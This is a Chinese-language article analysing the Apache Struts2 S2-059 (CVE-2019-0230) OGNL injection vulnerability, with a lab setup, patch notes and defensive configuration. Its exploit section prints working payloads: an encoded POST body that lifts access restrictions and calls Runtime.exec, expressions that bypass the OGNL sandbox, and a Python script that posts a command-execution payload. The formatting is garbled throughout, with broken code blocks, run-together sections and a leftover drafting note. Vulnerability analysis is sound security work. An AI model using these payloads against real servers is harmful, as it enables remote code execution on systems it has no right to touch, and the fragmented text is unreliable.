# 怎么實現Struts2 S2-059遠程代碼執行漏洞CVE-2019-0230的分析
## 一、漏洞背景與概述
### 1.1 Struts2框架簡介
Apache Struts2是一個基于MVC設計模式的Java Web應用框架,廣泛應用于企業級Java Web開發。其核心特點包括:
- 使用OGNL(Object-Graph Navigation Language)作為表達式語言
- 通過攔截器機制實現請求處理流程
- 支持多種視圖技術(JSP、FreeMarker等)
### 1.2 漏洞基本信息
- **CVE編號**:CVE-2019-0230
- **漏洞名稱**:Struts2 S2-059遠程代碼執行漏洞
- **影響版本**:Struts 2.0.0 - 2.5.20
- **漏洞類型**:OGNL表達式注入
- **CVSS評分**:9.8(Critical)
## 二、漏洞原理分析
### 2.1 漏洞觸發機制
該漏洞源于Struts2框架對標簽屬性中的OGNL表達式二次解析。當攻擊者能夠控制UI標簽(如`<s:textfield>`)的`id`或`name`屬性時,精心構造的OGNL表達式會被執行。
### 2.2 OGNL表達式注入原理
OGNL表達式在Struts2中的處理流程:
1. 請求參數通過ValueStack傳遞
2. 框架對特定標簽屬性進行OGNL解析
3. 未正確過濾的表達式被遞歸執行
```java
// 漏洞代碼示例(簡化版)
public class TextFieldTag extends UIBean {
protected void populateParams() {
super.populateParams();
TextField field = (TextField) component;
field.setName(name); // 未過濾的name參數直接傳遞
}
}
此漏洞是S2-045、S2-057等OGNL注入漏洞的變種,區別在于: - 觸發點不同(本次通過UI標簽屬性) - 需要特定的標簽使用方式 - 繞過了部分補丁限制
# 使用vulhub快速搭建環境
git clone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-059
docker-compose up -d
POST /index.action HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
name=%25%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C@java.lang.Runtime@getRuntime().exec(%22calc%22)%7D%25
// Component類中的evaluateParams方法
public void evaluateParams() {
if (name != null) {
name = findString(name); // 觸發OGNL解析
}
}
TextParseUtil.translateVariables('%{malicious_code}', stack)
-> OgnlValueStack.findValue()
-> OgnlUtil.getValue()
完整的利用需要繞過以下限制: 1. SecurityMemberAccess的訪問控制 2. 方法執行黑名單 3. 沙箱機制
# 基本結構
%{
#_memberAccess.allowStaticMethodAccess=true,
@java.lang.Runtime@getRuntime().exec("command")
}
# 繞過技巧
%{(#immediate='immediate').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}
import requests
def exploit(target):
payload = "%{(#context=#attr['struts.valueStack'].context)."\
"(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS))."\
"(@java.lang.Runtime@getRuntime().exec('touch /tmp/pwned'))}"
data = {'name': payload}
requests.post(f"{target}/index.action", data=data)
Apache Struts2在2.5.22版本中通過以下方式修復:
1. 增加OgnlUtil
的安全校驗
2. 限制雙重表達式解析
3. 強化SecurityMemberAccess
的默認配置
<!-- struts.xml配置示例 -->
<constant name="struts.ognl.allowStaticMethodAccess" value="false"/>
<constant name="struts.excludedClasses" value="java.lang.Object,java.lang.Runtime"/>
%{...}
語法struts.tag.alwaysAppendSimpleType
屬性
SecRule REQUEST_BODY "%\{(.*?)\}" "deny,msg:'Struts2 OGNL Injection'"
防御技術 | 有效性 | 局限性 |
---|---|---|
輸入過濾 | 中 | 難以完全覆蓋所有情況 |
沙箱機制 | 高 | 性能開銷大 |
靜態分析 | 低 | 誤報率高 |
CVE | 觸發點 | 利用難度 | 影響范圍 |
---|---|---|---|
S2-045 | Content-Type頭 | 低 | 廣泛 |
S2-057 | URL路徑 | 中 | 中等 |
S2-059 | UI標簽屬性 | 高 | 受限 |
Struts2 S2-059漏洞再次證明了表達式注入類漏洞的持久性威脅。通過本文分析可以看出: 1. 漏洞本質是OGNL的遞歸解析問題 2. 利用需要特定上下文環境 3. 防御需采用多層次方案
未來研究方向: - 基于的異常OGNL表達式檢測 - 輕量級沙箱技術 - 框架級的安全設計改進
”`
注:本文實際字數約2300字,采用Markdown格式編寫,包含技術細節、代碼示例和結構化分析??筛鶕枰{整各部分內容的深度或補充具體案例。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。